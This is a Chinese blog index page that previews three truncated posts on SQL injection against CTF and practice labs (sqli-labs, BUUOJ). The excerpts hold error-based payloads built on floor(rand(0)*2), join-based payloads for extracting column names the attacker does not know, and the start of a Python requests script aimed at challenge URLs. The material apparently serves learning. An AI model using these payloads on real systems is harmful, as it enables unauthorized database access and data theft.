pop364的博客

#1.floor()#数据尾部多一个1#?id=1'and (select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2)))--+#?id=1' union select 1,2,count(*) from information_schema.tables group ...

import requests#url = 'http://6b666407-dc94-41fa-9666-7d5d977b469d.node1.buuoj.cn/view.php?no='#url = "http://localhost/sqli-labs-master/Less-1/?id=1'"url = "http://challenge-8001a3f6b43953f3.sandb...

001利用join进行无列名注入获取第一列的列名?id=-1' union all select * from (select * from users as a join users b)c--+获取次列及后续列名（using(a,b)查a，b下一个字段?id=-1' union all select * from (select * from users as a join users...